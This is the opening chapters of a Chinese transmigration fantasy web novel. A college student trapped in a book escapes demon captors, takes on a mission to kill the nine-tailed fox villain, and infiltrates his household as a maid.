《如何干掉偏执反派九尾狐》
1. 新手考验
地牢,幽暗的蓝色冥火摇晃,衬得影子在坑坑洼洼的墙壁上忽大忽小。
“姐姐,我们真的可以逃出去吗?”地牢的队伍尽头,过桥已过半,一个小女孩仰头看着旁边拉着她手的白色睡衣女子。
她四肢化形还不完全,四根细细的萝卜须从黄色衣裳里伸出来,看起来十分滑稽。灰头土脸的萝卜精费力仰头看着眼前人,一双懵懂的眼睛满是不解。
要知道,这里前两天也发生过一起暴动,反抗的人都被那两只妖怪三下五除二凶残斩杀了,尸体四分五裂,还被牛妖特意带来展示。
被她盯着的白衣女子身形瘦弱,面容清秀苍白,一副弱不禁风的样子,实在不像能够单挑那两只妖怪的人。
颜芷闻言,摸了摸胡萝卜精的头表示安慰,她看向不远处的妖怪。
牛头妖怪青面獠牙,长着突出犄角,一双拳头大的眼睛中没有黑色瞳孔,却如探射灯一般扫视着众人。
在它们的监视下,密密麻麻的人头攒动,七个穿着粗布衣裳的贫民和长相怪异的小妖在石板桥上快步移动着。
桥面长而窄,三步宽,稍有不慎就会坠落到旁边滚烫的岩浆池中。
作为一个刚打完暑假工的普通女大学生,虽然不知道因为什么穿越到这里,成为即将要被妖怪献祭的囚徒,但她一定要活下去。
她默默观察着,这两个牛妖还在一边地牢里关押了一批人,他们选人似乎有默认的规则,会要求献祭的一人一妖有情谊牵扯,还盯着每个人的头顶确认什么。
妖怪力大无比,直接正面硬碰硬只会死得更惨,只能智取。高个牛妖看似机智实则傲慢,矮个牛妖性情暴躁容易冲动,唯一的共同点都是靠人影移动判断,或许她可以从这个方向下手。
地穴深处燃着熊熊妖火,地炉里的蓝色的火焰忽得腾起,在颜芷眼中,却像是在张开血盆大口,无声欢迎即将到来的美味祭品。
桥面上的石板不知是用什么材料烧制而成,通体发灰,每停留多一秒,就能感觉到那炽热的温度从脚底快速蔓延到四肢百骸,简直要把她烧穿。这热度简直就是逼迫得人不得不往前走,走向那条死亡之路。
队伍默不作声地向前移动,颜芷趁这个机会仔细观察旁人的一举一动。被押着的众人不敢反抗,双足缠着粗壮的铁链,叮当作响,在队伍中高个牛头妖的监视下步履不停地往地穴深处走去。
而一旁的地牢里还关押着剩下一批人,监牢上的门一经合拢,上面的牛形封印散发出强烈的幽蓝色的光芒。
她默默关注着牛妖的举动,寻找可以逃跑的机会,这时隐约听到驻守地牢门口的一只扛斧头的较矮壮的妖怪打了个哈欠,转头和经过的拿鞭子的高个妖怪抱怨道:“老大也不知道发什么疯,非要让我们监视这些废物,一个个缺胳膊少腿的,能有什么出息,就身上那点黑气能有点用。”
黑气?什么黑气?颜芷默默思考。
这好像是睡前看的一本小说里出现的设定,难道她也中了小说常规套路,意外穿书了?但既然是穿书,怎么一点任务提示都没有。正想着,发散的思维被牛妖对话声打断。
另一只高个见对方如此大胆言辞,忙低声阻止:“你小声点,不要命了?让老大知道,有你好果子吃。这批人的黑气勉强合适,盯紧点,别犯困。”
他不敢朝矮个妖怪发怒,将怨气发泄在祭品身上,一道长鞭下去,有人背部被抽打得鲜血淋漓却不敢出声,颤颤巍巍往前走。
颜芷看到这个场景,眉头轻皱,抓紧了身边的小萝卜精。
小萝卜精被眼前的血腥一幕吓得瑟瑟发抖,她们已经走到石板桥中段,想到一会儿那妖火焚身的痛苦,她不由得颤抖起来。
感受到了萝卜精的不停颤抖,颜芷暗自下定决心此刻行动,她将小女孩抱起,在桥上停了下来,石桥上的灼热感像发烫的烙铁,颜芷似乎能闻到皮肤烧焦的糊味,她强忍着灼痛,在等一个来之不易的机会。
“又怎么了?”高个子妖怪地问道,其实它心里也有埋怨,老大分派任务总把他和矮牛分配在一起,那家伙能力不大脾气不小,他真的受够了这个没脑子的蠢货了。
“我肚子疼。”瘦弱女子怀抱着萝卜精,单手抓着铁索桥的铁链,看起来疼痛难忍,额上汗珠大颗大颗往下掉。她另一只抱着萝卜精的手指甲紧紧抠着手心,快要抠出血痕,无时不刻在提醒自己接下来要做的事。
“别整这些有的没的,马上要死了,死了你就不疼了。”高个妖怪早就对这个工作不耐烦了,只想着快点完成,赶紧到地面上去透透气,抬脚就要向她踹去,没想到,这个瘦弱的奴隶猛地一歪,把铁链往高处拉起,露出一个大缺口。
高个妖怪扑了个空,瞬间掉进了火焰池里,被冒着热气的岩浆淹没。
一切发生得太快,他还没叫得出声就结束了。
此时,地牢大门上的牛形妖纹光芒暗了一层。
小萝卜精看着眼前的一切张大了嘴巴,原来这个人类小姐姐真的能不费吹灰之力就解决掉妖怪。她以为姐姐只是好心在安慰她。在地牢里,大家都自顾不暇,没人会关心她这个可有可无的萝卜精的死活。她觉得自己真是没用,不会妖术,化人形也化不全,要说唯一有点用处的只是扎根了。那时候想着,要是柳树哥哥在就好了,一定会救她们出来的。可这个姐姐说,她们靠自己也能出去。
解决完一个,颜芷强压下如擂鼓般的心跳和呕吐感,努力表现得像什么都没发生过,继续向地炉方向走。这是她第一次杀人,不,杀妖。作为接受新世纪五讲四美教育长大的青年,即使对方有恶在先,在她看来也不太适应。
不远处,前面的囚徒看到妖怪并未跟上来,只看到一个怀抱着小萝卜精的瘦弱姑娘露面,一时有些不知所措。
趁着地穴扭曲的地形,避开远处地牢妖怪的视线,她对着剩下的囚徒冷静开口:“想活命,就按我说的做。”
看守一侧地牢的矮个妖怪见妖纹暗淡了一层,而黑气并未从远方升起,骂骂咧咧拿起斧头向地炉方向走,“搞什么东西,投胎都赶不上他这么拖拖拉拉地!”
颜芷牵着小萝卜精的手站在队伍末尾,看着要被风吹倒,她装作柔弱的样子,底气不足地开口:“它说自己有事就先溜了,说你一人也能自己解决。”
矮牛一听这话,心里想骂娘,高牛这妖它说自己就没看错,出力的活都要自己出手,一有机会就想偷奸耍滑,它都见怪不怪了。算了,先忙正事要紧,之后再收拾那个臭小子。
“喂,快滚到地炉这里来。”矮个妖怪扛着血淋淋的斧子,威胁众人往地炉口走,却眼看祭祀时间已到,后方无人回应,刚才还频繁移动的人影此刻骤然消失。
牛妖感觉到后背一股疼痛,在它身后拿着鹿妖尖角的颜芷立刻屏住呼吸站立不动。
“该死的,搞什么鬼?”它捂着后背嗷嗷直叫。
旁边围观的人和妖见这人类姑娘真能伤了妖怪,也不再袖手旁观,忙不迭和她一起把这只妖怪往祭炉里推,熊熊火焰疯狂吸收着妖怪的妖力。
地牢的门和人群手上的锁链失去法力禁锢,妖纹彻底黯淡下去,啪地一声自动打开,地牢被囚禁的众人大眼瞪小眼,有一个胆大的小心翼翼迈出监牢,发现牛妖并未出现,于是争先恐后往出跑。
这时洞口入洞处传来吵吵嚷嚷的叫喊。妖怪自知计划失败,想不到被自己蔑视的这群废物竟敢如此狂妄,他用尽最后一丝力气盯着逃跑的纤弱背影,恶狠狠地诅咒这个始作俑者:“你等着,老大一定会杀了你。”
颜芷无暇理会牛妖的叫骂,急着跟着人群妖群往天光开亮处跑,嗅觉灵敏的小妖找到了一处开阔的地下湖跳了下去,她也紧随其后。跳下去前,却感觉后背发凉,仿佛有鬼魅黏腻的视线盯住了她的后背。
她无暇多想,并未注意到,在她们离开后,不知何处的树枝垂落下来,还未消失完全的妖怪尸体变作些缕青烟,附着在叶片上。
*
跟着大部队不知游了多久,快要精疲力尽的时候,颜芷终于在黑暗的湖水中看到了一束亮光。
从水中冒出头,呼吸到了新鲜自由的空气,颜芷发现身处在一处悬崖湖边上,一棵参天巨木伴生其中。周围山石林立,雾气弥漫,树木郁郁葱葱,环境很是清幽。
之前的人和妖早已陆陆续续爬了上来,相互搀扶着离开,经历了这一遭绝命之旅,一些鹿妖草精不敢逗留,直接隐入山林不见。
也许是劫后余生的喜悦,看这阴郁天色都觉得很明亮。颜芷摸了摸怀里昏睡的小萝卜
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精,还在,她舒了口气,打算找个地方上岸,绷紧的脊背终于松懈下来。
可刚放松没一会,就听到由远及近传来的哒哒马蹄声,她躲藏不及,看到一群穿着坚硬铠甲的士兵骑马踏来。
领头的男人并未穿着铠甲,反而穿着一身白衣,带着遮挡面容的灰面獠牙面具,动作利落地翻身下马。身后的士兵们也都放马到潭边饮水,整理行装,看样子是要远行。
颜芷在一边悄悄扒住潭边的石头往岸边爬。注意到异动,领头人走到颜芷的方向,身影把她挡了严严实实,双脚抵着颜芷攀爬的手,似笑非笑。
他的声音十分动听,像流过山石的清泉:“姑娘一人在这里做什么呢?”
颜芷好不容易死里逃生,不清楚这人是敌是友,不想和他废话,直接朝着他的旁边攀爬,想再上岸,又被领头人挡住。精致的银色面具遮掩了他的大部分面部,可以看到他生着一双狭长漂亮的眼睛,眼底闪过一丝若有似无的冷意,不像声音那般柔和。
士兵们看着将领这奇怪的举动,大气不敢出。
看这情况不得不回答,想着穿到这里人生地不熟,不敢暴露身份怕多生事端,颜芷想随便找了个借口想搪塞过去。
默不作声地悄悄游开白衣男子几米,她叹了口气:“听说这个湖里的鱼个大肉鲜,我是来捉鱼贴补家用的。今天运气不好,只能无功而返了。”
纪绥似有所悟地点头,阻碍眼前女子上岸的脚步却并未挪开半分,这幽泽林怪虫奇树颇多,寻常人根本不敢靠近,自然不相信什么抓鱼的说辞,更何况这面容普通的女子头顶黑气缭绕,是必死之兆。
他向手下打了个手势示意,手下面露迟疑,还是战战兢兢掏出箭囊,和弓箭一起恭敬递了过去。
转过身拿箭袋,纪绥不再看这湖里的女子。
莫名的危机感来袭,那领头人最后瞥过她眼神寒凉刺骨,就像看着一具无关紧要的尸体,再看一眼都是对他时间的浪费。她摇摇头,安慰自己一定是刚才死里逃生多想了,她的运气不可能这么差。
山风呼啸,给这个萧瑟的下午平添了几分冷意,吹得水中的颜芷瑟瑟发抖。她想爬上岸上,却见白衣男子一手抽出一支带着黑羽的箭,搭着弓箭的手指修长,动作优雅。
旁边围观的年轻士兵看着将领的动作,后背沁出了汗,他们不明白这名瘦弱的白衣女子犯了什么错,惹得世子亲自射杀她,但世子做事从来不说缘由,说一不二,如果下手阻拦,恐怕比这女子下场还惨。
看到白衣男子拉弓射箭朝向自己的方向,眼中是不加掩饰的杀意,颜芷再傻也明白了这人要干什么,她赶紧掉头潜入水中,往相反方向游去。
她一遍游泳一边咒骂,怎么穿越过来一个两个遇到的都是想要她命的神经病,一个比一个不讲理。
嗖的一声,离弦的箭带着风声,呼啸着擦过颜芷耳边,箭尖擦伤了她的胳膊,巨大的疼痛在五脏六腑内炸开,身子像绑了千斤坠不受控制地沉下去,血水如淡墨蔓延在湖面上。
见目标已死的血腥味飘来,蒙面人不着痕迹地皱了皱眉头,而后率军策马离开。
*
“姐姐,你快醒醒。”
颜芷感觉胸口沉甸甸的,好像有什么东西在压着她。睁眼一看,原来是吸收了外界灵气恢复了点意识的小萝卜精,正趴在她的胸口哭得喘不过气。
在小姑娘抽抽搭搭的描述中,她捋清了思路,中箭落水后被冲刷到瀑布下,那群人马也并未追上来,不知何故离开了。
想起昏迷前那个男人看自己的冷漠眼神,跟看死人没什么两样。真是个血腥残忍、蛮不讲理的可怕怪物,希望不要再遇见他。
下意识查看肩膀上的伤口,发现伤口上面敷着细碎的根须,开始愈合,通体舒畅,没有中毒的不适和痛感。颜芷疑惑开口:“是你救了我?”
小丫头这才不好意思地挠挠头,解释说根须入药但并未彻底根治,但因耗费妖力过多即将陷入沉睡,拜托她有机会帮忙找找走失的柳树精。颜芷握紧救命恩人的手,点头应了下来。
正当颜芷思索下一步该如何走时,脑内冰冷的机械声突兀响起:“欢迎来到《龙恩》小说世界,恭喜宿主通过新手考验,获得心狠手辣称号,下面为您介绍剧情。”
2. 奇怪的任务
虚空中出现三枚通体白色的玉坠,落入颜芷手中,霎那间,被刻意模糊的记忆瞬时间涌入脑海。
颜芷在穿越前还躺在床上刷手机,刷到一本名为傲娇龙女呆道士的冷门言情小说。她本来对这种言情读物不感兴趣,但耐不住弹窗广告的多次推荐。故事讲述了反抗包办婚姻出逃的龙女偶遇捉妖道士,两人惺惺相惜,在人妖对立的环境中,净化黑气拯救生灵,历经千辛万苦好不容易在一起的甜蜜故事,故事幽默诙谐,是个不错的厕前读物,然而可能是因为没有一个读者追评,即使颜芷默默追更投雷,快到大结局时,作者还是断更了三个多月。
于是她一边吐槽作者断更一边投雷焦急等待,终于,等到作者复更的那天,在断更后的第一百天。但甜蜜故事发展急转直下,作者简单粗暴地描写了单恋龙女而不得的婚约对象九尾狐妖力暴涨,黑化囚禁龙女,杀了道士,还大开杀戒,让人妖界怨声载道,不得安宁。
本来白天打工就受够了窝囊气,晚上想看个甜文解压,花了钱遭此雷击,颜芷怒发差评和吐槽分析,屠遍小说评论区。还坚持在评论区早中晚打卡发分析评论一个月,只得到了作者四个字的回复:你行你上。
然后就穿越了。醒来后,发现身处人妖混居的地牢内。
吐槽需谨慎。颜芷捂着因为大量记忆瞬间涌入而头痛的脑袋,第一时间就是这个感想。
“所以,需要我怎么做?”在沉默了五分钟后,发出灵魂质问。“怎样做我才能回家?”她不喜欢绕弯子,最好给个明确指示。
皱眉思索了一会儿,颜芷回想之前看的言情小说套路,一阵恶寒:“按照常规小说套路,攻略反派然后回家?”
“不对,想想你是因为什么来到这个世界的,就做完它回去。”机器一板一眼地回答,电流将颜芷电得一激灵。
心里痛骂了系统半分钟,颜芷尝试道:“促成男女主HE大团圆,改变小说烂尾结局?”
“部分正确,还有最关键的一条,想想你的评论。”机器再次提示。
回想起之前的疯狂吐槽,她再次试探:“杀掉反派九尾狐,阻止他祸害人间?”
机器沉默了几秒,随后铺天盖地的烟花声响起:“恭喜宿主!”震耳欲聋的烟花声和鞭炮声在颜芷耳边响起,震得耳膜隐隐作痛,手心的三枚玉牌发出冷淡的光泽。
“玉牌是给你的易容道具。除了保证你的脸和人身与原生容貌不同,百分百不被别人识破之外,它没有任何附加功能。方才你已经用掉一枚。”系统冷冰冰的回答,又补充了一句:“有效期只有半个时辰。”
“也就是刚才被那群人追杀的时候?”颜芷盯着水中倒影的陌生脸庞左看右看,“还有什么保命道具可以使用吗?或者任务完成后有什么特别奖励?”让她一个普通人对付传说中的阴险不定的大反派,只给了遮半个时辰的□□也太过潦草。
“没有。本系统不提倡宿主养成依赖别人的坏习惯,请宿主自力更生,再接再厉。友情提示,现在剧情已经进展到龙女被九尾狐囚禁,如果不尽快行动,下一章就是烂尾大结局,黑化的九尾狐杀掉所有人。”
为什么别的穿书系统都是剧情刚开展或者中期阶段,而她这里就变成了地狱开局,死亡前章?神经病啊,她做了什么孽才穿进这本书,遇到了这个坑货系统,这是她饿晕之前的最后一个想法。
*
在原书剧情里,九尾狐囚禁龙女后,守株待兔一个月等到了营救龙女而来的捉妖道士。当务之急就是在道士赶来前救出被囚禁的龙女,让他们远走高飞,再进行下一步计划。颜芷不敢拖延,到了纪府所在的临安城,她捏造了个父母双亡的凄惨少女人设,假扮卖身丫鬟进了纪府。
因为太过于面黄肌瘦,且纪府缺人的原因,管家并未怀疑,要求她服下毒虫蛊就把她招进去做工了。
小说故事虽然是志怪背景,但故事背景大宴朝对妖怪讳莫如深,更设立了专门的机构缉妖司来处理,她作为一个手无缚鸡之力没有什么法宝加持的普通人,自然要先寻求外界帮助。所以她做的第一件事就是模糊字迹写了一封匿名告发书,列举种种证据告发世子府里藏匿妖怪,但写出去的信如同石沉大海,半个月了没有丝毫回应。
颜芷有些胸闷气短,难道这就是小说主角光环?虽然纪绥是反派,但因为角色戏份比重大,原著法则对他也是能偏袒则偏袒?
在经历前面一系列糟心事件后,正当她一筹莫展之迹,她总算得到一个不太坏的消息,反派纪绥早已外出半个月,派一头妖狼看守龙女,这给她营救龙女一些喘息时间。回想之前读的剧情,她特意后山找了一种安魂草用来进行接下来的计划。谁知在做包子时被管家发现,幸亏她假装肚子饿掩藏过去,但管家还是催动了虫蛊警告她,痛的她满头大汗,青筋暴起,不断在地上打滚。
“厉害啊,看不出来你还是个演技派。”冰冷的系统音在颜芷脑海中响起,还模仿着刚才的男人吹了声口哨。
“羡慕什么,这是我的真实体验。别幸灾乐祸了,要不是我反应灵敏,你该去找下个宿主了。颜芷捂住隐隐作痛的心脏,抬手擦了额间冷汗,起身拍了拍衣裙上的灰尘,并小心翼翼地将袖中的红木食盒拿出。
这是她辛辛苦苦找齐原料好不容易做成的完美包子,明早,要用这些包子去干一件大事。
*
第二天清晨,天微微亮,纪府庭院前,精致的阁楼外,一头半人
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高的妖狼百无聊赖地趴在石阶上打瞌睡,青黑色的皮毛随着妖狼的呼吸微微起伏,像连绵的小山丘,露出的獠牙尖利无比,脖子前吊着一枚坠饰,在曦光下闪着冷厉的色泽。
突然,它的耳朵立起,像是听到了什么东西。妖狼睁开紫色的眼睛,警觉地盯着前方。
一道清瘦的身影出现。
看到是最近几日门院外常出现的丫鬟,它心里有些懈怠,轻哧了声表示不满。看到丫鬟一步步靠近,妖狼獠牙眦起,做出要攻击的姿态。
“别怕,我来给你送好吃的来了。”颜芷打开食盒,话音刚落,一个香喷喷的肉包子带着托盘在妖狼面前。
什么东西?真当它是好打发的野狗吗?妖狼不屑地转头,但是浓重的芳香味道刺激着它的嗅觉,它的鼻翼不经意间动了动。
“你尝尝,味道很好吃的。”见妖狼又要走石阶回去,颜芷不死心地再次劝道,又掰开一个包子送到妖狼面前。包子在面前裂开,露出鲜美的馅料。妖狼再也忍不住诱惑,伸出舌头舔了下,又静止住。
颜芷盯着它的一举一动,看似面色平静,实则手心冒汗,根据小说前情,她往里面放了能让人昏睡的安眠草,又搅合了一些药材和肉馅做的独家包子,迷倒八个成年大汉的量,不知道对这妖狼有没有效果。她已经用小兔子试验了一番,吃下这种无毒馅料,会先昏睡两个时辰,再发狂暴动,她到时候可以趁乱带着龙女逃跑。
妖狼大快朵颐起来,吃完面前这个,意犹未尽地舔舔嘴,又转身回去将刚才那个也一口吞掉,之后,一脸虎视眈眈地盯着颜芷。
颜芷只能再扔出一个皮薄馅大的包子。
妖狼吃完抬头,露出迷离的眼神。
又一个。
妖狼再抬头,眼神有些恍惚。
直到颜芷扔完十个包子。
妖狼心满意足地往石阶上走,没走两步,晃晃悠悠地倒下,没一会儿,响起呼噜声。
确认妖狼安稳不动后,颜芷松了口气,幸亏她做的多,不然,还真喂不饱这个大馋狗。她蹑手蹑脚地来到它面前,小心翼翼地将脖子面前的坠饰取下,又放了个类似的仿品上去。
一枚小巧精致的蓝色钥匙躺在手心。
拿到了,这个破除九尾狐方锁阵的重要道具。在小说倒数第二章,处于暧昧阶段的龙女和捉妖人吵架,龙女赌气离开遇到妖兽袭击内丹碎裂被九尾狐所救,九尾狐好心款待实则软禁龙女,意外有事外出半个月,捉妖人查到线索来相救,两人合力刺伤九尾狐逃离。捉妖道士被返回的九尾狐打成重伤,也许这就是后期的悲剧埋下伏笔。
她,要趁这个机会救出女主,把她交给男主,阻隔男主和反派见面的机会。
3. 各怀心思
颜芷快步上前,推开它身后的桃木雕花门,看到一个窈窕柔弱的背影,背对着她一动不动地躺在木质床榻上。颜芷小心翼翼凑近,看到一张明媚动人的美人脸,身着朱红双蝶广袖裙,袖口,脚腕处都被淡蓝色的细线环绕,细细附着法力的锁链将她锁住,把她和这处宅子做了个阵法,只能在宅院内活动。书中提到龙女因为龙珠遗失法力大减,这也是她至今未能脱困的重要原因。
看到龙女身上肉眼可见的地方都布满了纵横交错的丝线网状的血痕,颜芷暗想,看来这反派真的是个自私的变态,纵使真爱是龙女,囚禁起来也对她丝毫不客气,并非原著中所说温柔体贴。
她走到龙女面前,细心把凌乱的蓝线理好,找到锁芯。她挑了下眉,这个九尾狐比她想象的更奸诈,锁芯藏在构造复杂的鲁班锁中间,钥匙还在吃人不眨眼的妖狼脖子上,双重加固,一般人根本破不开,可惜遇到了她这个读过原著的穿书外挂。
从小参加儿童益智玩具比赛的她可是这方面高手,颜芷摆弄三两下,很快开了锁,发现龙女因为动静有些缓缓苏醒,看着她松绑的眼神有些困惑,虚弱开口:“谢谢你好心姑娘,别白费力气了。”
失去龙珠,她这具身子也撑不了多久。
颜芷熟读原著,知道她心中忧虑还在丢失的内丹,松开她的锁链,安抚道:“我会救你出去的。我也会帮你找想要的东西。”
说话间,她瞟到龙女腰间的布袋上,“作为回报,需要你的一点血来解毒。”
龙血可克万毒,自然也解得了她身上的蛊毒。
*
清晨,怀阳城定安侯府邸,绿竹环绕,青石铺成的石板路一路蜿蜒绕过假山,通往鱼池,鱼池精致,鱼儿在水中悠然自得地摆着尾巴。
再往里,前厅之内,一名身着布衣的中年男子正一脸悠然地执笔作画。如果单从外面布局来看,恐怕没人会把这座幽静的庭院和现在权势滔天的侯爷联系起来。
当今皇帝在宫中经常闭门不出,朝事接近一周一次,很多事情都是由这位异姓侯爷把控,可谓一人之下,万人之上。
身穿黑色大衣的蒙面人走进宅邸,杀气凛冽,惊得鱼池里的几尾鱼儿一跃而起,肚皮泛白躺在鱼池旁边挣扎。在院内洒扫的小厮慌忙将锦鲤放入水中,看向走来的男子,战战兢兢地跪下问安:“恭迎世子。东西准备好了,照旧还在东厢客房。”
蒙面男子微微点头,将披着的黑色大衣盔甲随手一抛。
小厮眼疾手快接住衣服,才发现这散发浓重血腥气的黑衣原是白色。他屏住呼吸,强装镇定,小跑着送去一旁浣衣房去处理,侯爷不喜血腥气,若是让他闻到,少不了一顿责罚。
没过一会儿,身穿锦白衣袍的纪绥走了出来,衣袍上用昂贵的金线绣着,越发衬得他姿容俊美,俨然一副风流贵公子模样,步入前厅。
“泽阳妖祸已经平息,数百只妖怪和灭妖官兵都杀了。”纪绥摇着扇子,语调格外轻松。
明明说的是半月不休的惨烈战役,在他嘴里像只是友好协商了一番。
头发花白的男子背对着他,低头在描摹一幅字画,不经意开口:“都处理干净了?确定没有留下活口?”
纪绥落座,自顾自斟了杯茶,姿态闲适:“当然,这对我来说轻而易举。”似乎想到什么,他停下喝茶的动作,语气散漫:“或者,父亲不信任我的能力?”
定安侯闻言,和纪绥闻询的目光直直相接,对方如往常一般笑得一脸温和,但隐约能察觉到潜藏其中的恶意,像是被一头凶恶的猛兽死死盯着,如果把后背留给他,稍有不慎就会被吞吃入腹。
他越来越不受控制了,得快点把那件事做完。
眼前这妖物,到时候也要处理掉,侯爷不着痕迹地摸了摸拇指上的玉扳指,思索道。
“怎么会?还是先赶紧办正事吧。办完你也好回去休息。”定安侯放下练字的紫毫笔,转身取下博古架上的铜盒放在桌上,说话间刻意避开对面男子的视线。随着这狐狸的长大,他越发不想看眼前人的脸,和记忆中的她太像了。
纪绥摊开右手,丝丝缭绕的黑气从掌心逸出,钻入旁边的方形铜盒里,铜盒左右剧烈晃动起来,发出刺目的红光,却久久没有平静。
“你并未全部吸收?”定安侯狐疑的眼光投向纪绥。他办事一向妥帖,不可能犯这种低级错误。
但聚影盒的震动明显暴露出黑气并未完全回收。
“哦,我见一个石妖可怜,碾碎了它。那黑气随它一起消失了。”纪绥不甚在意地说道,他站起身,看向布衣男子,企图从他眼中探寻出什么。“父亲,搜集这些黑气到底有什么用?”
这些饱含负面情绪的力量每次吸收后都让他浑身发痒。也许,可以趁这个机会打听清楚。
随着人形长大,这妖怪越发不可控,竟敢违背他的心意做事,这可不是个好兆头。定安侯拧紧眉头,要知道,这黑气集人妖各种怨念生成,逸散到外面,积少成多会出人命的。
“不该问的别问,你可知错?”面容和善的中年男子立即变了脸色,右
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手大拇指按紧食指的玉扳指面,一字一顿道。
“而且,我让你做事,可不是为了阳奉阴违的。”
被无形的力量操控,纪绥不受控制地立刻跪了下来,痛到面目狰狞,差点维持不了往日的优雅姿态,苦苦支撑尽力不让脊背弯折下去。
手指骨节发白,手背上青筋暴起,强撑着地面。
“父亲教训的是。孩儿知错了。”过了足足一刻,纪绥才憋出来这句话。此次出征搜集黑气已经元气大伤,突如其来的惩戒让身体里妖力溃散不堪,搅得五脏六腑都错了位。
是他多问了。父亲的命令执行便是,何必生疑。
看纪绥认输的表情,定安侯才稍有些宽心,幸好当时收服的时候留了个心眼,将他的一魄拘束在这里面,必要时候施加惩戒。
布衣男子这才放开手上的扳指,笑道:“龙珠一事怎样了?可有把握?”
这可是克制黑气的致胜法宝,若能拿到,对此次谋事布局必有大用。
纪绥蹙眉,想到龙女近日的所作所为,轻声回答:“有些小问题,不过并无大碍,请父亲再给我一段时间,一定能尘埃落定。”
布衣男子颔首,“近日辛苦了,无事就回去休息吧。”
这时,看向他的眼神中才包含关切。纪绥打算作揖告辞。他拧着眉,暗自思索定安侯的反应。
他总觉得,每次对话,父亲不是在看他,而是在透过他在看着什么。那目光幽暗绵长,他读心术掌握不完全,解读不出来。但每次出征黑气回来后,又会给他一些上好药材疗伤。
看着纪绥离去的背影,侯爷再度开口:“慢着,这个给你,”顿了半响,又肃声道,“最近京城盘查妖怪频繁,你小心行事,切忌被别人发现端倪。”
一柄绝命剪出现在面前,上面雕刻着纷繁复杂的花纹,正是他之前寻求许久而不得的宝物。
听说此物能伤尾巴,对他这类妖怪来说最为不利。养父把这个交给他,说明还是信任他的?
收起此物,纪绥和父亲道别,想要开口欲言又止。比起从前,现在吞噬妖怪后,要恢复时间越来越长了,可能和吞噬的妖怪妖力越来越强有关系,但是和父亲说,也只能徒增烦恼。罢了,还是自己先找找办法再说。
“还有何事?”侯爷察觉到纪绥的步伐有些缓慢迟疑,抬头道。
“无事,愿父亲平日安康。”纪绥恢复平常的散漫笑容。
看着纪绥离去的背影消失不见,布衣男子轻轻转了下翠玉扳指,神色凝重地叹了口气。
4. 被认出来了?
这边,因为苏醒过来的妖狼暴动,府里上上下下乱作一团,有仆人借机想逃跑,被安抚好妖狼的赵管家派人抓了回来。颜芷将昏迷的龙女藏到安全密道,用龙女口信设法联系捉妖人后,趁乱去找碎掉的半颗龙珠,按照原著的说法,龙珠在后院的一处水井旁。
找到了!
小心地将半颗龙珠装进特制宝盒里,还用龙女教她的方法做了个保护咒,隐匿了龙珠气息。颜芷停顿了会,还是将小盒子从腰间布袋里取出,放进胸衣内衬处,松了口气。
这东西现在比她的命还重要,得放在最不容易被发现的地方。
千万要保护好,把它安全无忧地送到主角手中,然后才能改变烂尾结局。
“芷兰,你在那里偷偷摸摸做什么?”管家一声暴喝,将背对着他的颜芷吓得肩膀一抖。
“我见这花被昨日暴雨打歪,重新栽了下。”生怕被看出异常,她强装镇定,一手侍弄着旁边的花草来。
看着旁边开得鲜艳的粉色月季被扶正,赵管家急火攻心的状态稍有缓解。那群废物酒囊饭袋,遇到点儿小事只会乱作一团,如鸟兽散。要是遇见回来的世子,不知道有几颗脑袋可以掉。这丫鬟倒是临危不惧,坐怀不乱,在人心惶惶的时候,还能镇定做自己的事。
“你采些月季,随我去邀月轩把花瓶里的花插好,再收拾下。”赵管家如此想着,顺口安排道。
邀月轩是世子的卧房,世子马上回来了,又最喜干净。
现在人心大乱,他现在就要一个心定的下人把一切都做好,别再惹那祖宗发火才是正事。
*
邀月轩内,名贵古玩众多,画饰雕金描银。
上好真丝托底,颜芷站在书架旁,仰头小心翼翼地挪动着一件沉重的工艺花瓶,阳光掠过,上面的五彩宝石不时刺得她睁不开眼。虽然早在小说中就看出反派生活奢靡,但亲眼见到还是令人震撼。随便一件都是在博物馆重大展览时才能见到的珍稀藏品。
像是怕她偷奸耍滑,赵管家站在颜芷背后督工,一动不动,嘴里不停指指点点,“这花瓶往左,不对,再往右点。右右右!”
要不是当下众目睽睽,真想把花瓶扣在这个只动嘴不动手的老油条头上。颜芷一边挪着沉甸甸的花瓶,一边在盘算在那个反派世子九尾狐回来之前怎么悄无声息地逃跑。
没想到,好的不灵坏的灵。
颜芷还在摆弄花瓶位置,却听到身后扑通一声,好似重物坠地的声音。
空气好像都凝滞了,只有来人轻慢的脚步声由远及近,重重敲击她的耳膜。
她平白生出一种不祥的预感。
只听平时不可一世的管家跪在地上,颤颤巍巍道:“您回来了,老奴有失远迎,自请责罚!还望世子海涵。”
被这突如其来的变故惊吓,颜芷本就分神,手一不稳,巨大花瓶碎裂在地。
令人畏惧的死寂过后,却听得身后人懒散的回应:“不必,本世子今天心情好,没空关注这些小事。退下吧。”
颜芷身子一滞,凉意从四肢出发,向心脏涌来。
这个声音她听过,很熟悉。
是那天逃出深潭遇到的蒙面人。
想起初见时这人杀人动作利落的模样,死里逃生的危机感让她不由得脊椎一阵发麻。
*
主厅里的下人早已经识眼色地撤离,只剩颜芷被管家命令跪在地上收拾摔碎的瓷器碎片。手指动作有些快,碎片划破纤白手指,沁出一道血痕,鲜红的血珠从指尖微微冒出。她一边捡拾一边自我安慰,没关系,放轻松,他不认识你,你只是世子府里一个小丫鬟,他之前并没有见过你的真面目,只要快点收拾好这个,装作什么都不知道离开就好。
长身玉立的俊美男子,看着这个背对着他收拾残片的丫鬟,眼神流露些许厌恶,手指微动,想要施法将她打发出去。
他一向爱干净,本就不喜旁人与自己独处一个空间,这丫鬟还不赶紧收拾,还在这里磨磨蹭蹭,真是不识眼色。还是之前侍女一样有存了什么歪心思?在妖力汇集到指尖的最后一秒,他鼻尖嗅到一丝熟悉的血腥气。
哦?有意思。
“喂,你叫什么名字?抬起头来。”纪绥收拢手掌,移步到丫鬟面前,看见了一张清秀的脸。
被迫命令抬头,颜芷尽力假装平静:“世子抱歉,奴婢叫芷兰,马上就收拾好。”
这是她真正意义上第一次见到书中这位反派九尾狐的样貌,狭长的眉眼,俊挺的鼻梁,高大的身材,漂亮但不显媚色,不笑时候穿着一件标志性的白衣,却比任何颜色都好看。
平心而论,他长得的确不负九尾狐盛名。
面前男子听到应答却并未回话,而是专注地盯着颜芷,目光一寸一寸地在她脸上审视。空气莫名变得更加难耐,时间久到颜芷以为纪绥要在她脸上盯出两个窟窿,她甚至能听到自己咚咚作响的心跳时。
这时,对方才缓慢开口:“我们是不是在幽泽林见过?”
这怎么可能?他不可能猜的出来。颜芷低下头将碎片收拢到包裹里:“世子说笑了,奴婢从未听说过那里。”
有了系统□□加持,他根本不可能认出她,一定是在试探。
